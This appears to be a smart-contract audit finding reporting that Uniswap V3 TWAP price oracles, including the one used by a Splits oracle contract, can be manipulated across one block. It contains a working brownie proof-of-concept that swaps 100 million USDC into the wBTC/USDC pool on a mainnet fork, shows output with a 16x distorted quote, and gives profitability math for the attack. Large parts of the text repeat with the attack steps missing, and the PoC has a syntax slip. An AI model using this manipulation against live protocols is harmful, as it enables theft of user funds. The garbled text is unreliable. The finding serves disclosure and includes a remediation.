The POC shows an example of a Low Liquidity Pool (e.g. wBTC / USDC at 30 BPS)
And shows that even this pool can be manipulated via MMEV
The following POC is written in brownie,
Run on fork mainnet via
brownie console --network mainnet-fork
Then paste the python in the terminal
router = UniV3Router.at("0xe592427a0aece92de3edee1f18e0157c05861564")
factory = UniV3Factory.at("0x1F98431c8aD98523631AE4a59f267346ea31F984")
## sLUSD - USDC -> 0.3%
usdc = interface.ERC20("0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48")
lusd = interface.ERC20("0x5f98805A4E8be255a32880FDeC7F6728C6568bA0")
wbtc = interface.ERC20("0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599")
BPS_30_POOL = 3000
usdc_lusd_pool = factory.getPool(usdc, lusd, BPS_30_POOL)
## Find a Pool
"""USDC -> LUSD
wBTC -> LUSD"""
## Deposit a shitton to attack
## 30 BPS wBTC USDC Pool
to_attack = factory.getPool(wbtc, usdc, 3000)
c = OracleLibrary.deploy({"from": a[0]})
res = c.consult(to_attack, 15 * 60)
quote = c.getQuoteAtTick(res[0], 1e8, wbtc, usdc)
print("Before Attack time", chain.time())
usdc_whale = accounts.at("0x0A59649758aa4d66E25f08Dd01271e891fe52199", force=True)
ONE_HUNDRED_MLN_USDC = 100 * 10 ** 6 * 10 ** 6
usdc.approve(router, ONE_HUNDRED_MLN_USDC, {"from": usdc_whale})
"""
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
"""
router.exactInputSingle([
usdc,
wbtc,
BPS_30_POOL,
usdc_whale,
999999999999999999,
ONE_HUNDRED_MLN_USDC,
0,
0
], {"from": usdc_whale})
res_2 = c.consult(to_attack, 15 * 60)
quote_2 = c.getQuoteAtTick(res_2[0], 1e8, wbtc, usdc)
print("res2 time - no update since TWAP protects same block, this tx will be done as last of the block", chain.time())
chain.sleep(12)
chain.mine()
res_3 = c.consult(to_attack, 15 * 60)
quote_3 = c.getQuoteAtTick(res_3[0], 1e8, wbtc, usdc)
print("res3 time, this tx will be done as first in the block", chain.time())
print("After attacking with 100MLN USDC")
print("Before Attack Tick", res)
print("Before Attack Quote", quote)
print("Same Block Attack Tick - Protected", res_2)
print("Same Block Attack Quote - Protected", quote_2)
print("Next Block")
print("Next Block Attack Tick - Manipulated", res_3)
print("Next Block Attack Quote - Manipulated", quote_3)
print("Ratio between honest quote and manipulated quote" quote / quote_3)
The output will look close to this:
res2 time - no update since TWAP protects same block, this tx will be done as last of the block 1682337568
res3 time, this tx will be done as first in the block 1682337580
After attacking with 100MLN USDC
Before Attack Tick (56127, 7689799713075)
Before Attack Quote 27380587878
Same Block Attack Tick - Protected (56127, 7689799713075)
Same Block Attack Quote - Protected 27380587878
Next Block
Next Block Attack Tick - Manipulated (83920, 300833904)
Next Block Attack Quote - Manipulated 440978153194
Ratio between honest quote and manipulated quote 16.10550347417197
Proving that the price can be moved on the next block very noticeably
Tool used
Manual Review
Recommendation
Limit the usage of TWAP for High Liquidity Pairs (100 MLN+)
Alternatively, use Chainlink Price feeds and limit support to all the tokens that have a feed
On Severity and profitability
The given example is illustrative of a fairly used pool (USDC and wBTC being top market cap tokens)
This applies to other pools which have less liquidity (e.g. most Protocol Tokens to USDC instead of to ETH)
Napkin math on conditions for profitability are the following:
The attack above will cost 300k / 600k in swap fees, meaning that at least 600k needs to be at risk
Assuming a caller incentive of 2%, and a Bull Market Swap Fee of $500
500 / .02 = 25000
600 / 25 = 24
If 24 splits meet the requirement for a profitable swap on Mainnet, then the attack becomes profitable given the conditions above
The attack should be cheaper to perform for lower liquidity pairs, which the architecture allows
GalloDaSballo
medium
Most UniV3 Twaps can be attacked via one block pricing attack
Summary
Uniswap TWAP provides security for same block manipulation
However, for most pools, it will not provide security against manipulations that can be performed across one block
One block attacks are possible because of:
Vulnerability Detail
Because we can:
Thanks to cross block bundles
We can perform the following attack:
The strategy has been researched and shown to be doable here: https://arxiv.org/abs/2303.04430
This is possible because block validators can be known at the beginning of an epoch in POS
Impact
TWAP for most pairs will be unsafe because in practice cross-block arbitrages are possible
https://github.com/sherlock-audit/2023-04-splits/blob/main/splits-oracle/src/UniV3OracleImpl.sol#L275-L282
Code Snippet
The POC shows an example of a Low Liquidity Pool (e.g. wBTC / USDC at 30 BPS)
And shows that even this pool can be manipulated via MMEV
The following POC is written in brownie,
Run on fork mainnet via
brownie console --network mainnet-fork
Then paste the python in the terminal
The output will look close to this:
Proving that the price can be moved on the next block very noticeably
Tool used
Manual Review
Recommendation
Limit the usage of TWAP for High Liquidity Pairs (100 MLN+) Alternatively, use Chainlink Price feeds and limit support to all the tokens that have a feed
On Severity and profitability
The given example is illustrative of a fairly used pool (USDC and wBTC being top market cap tokens)
This applies to other pools which have less liquidity (e.g. most Protocol Tokens to USDC instead of to ETH)
Napkin math on conditions for profitability are the following:
Assuming a caller incentive of 2%, and a Bull Market Swap Fee of $500 500 / .02 = 25000 600 / 25 = 24
If 24 splits meet the requirement for a profitable swap on Mainnet, then the attack becomes profitable given the conditions above
The attack should be cheaper to perform for lower liquidity pairs, which the architecture allows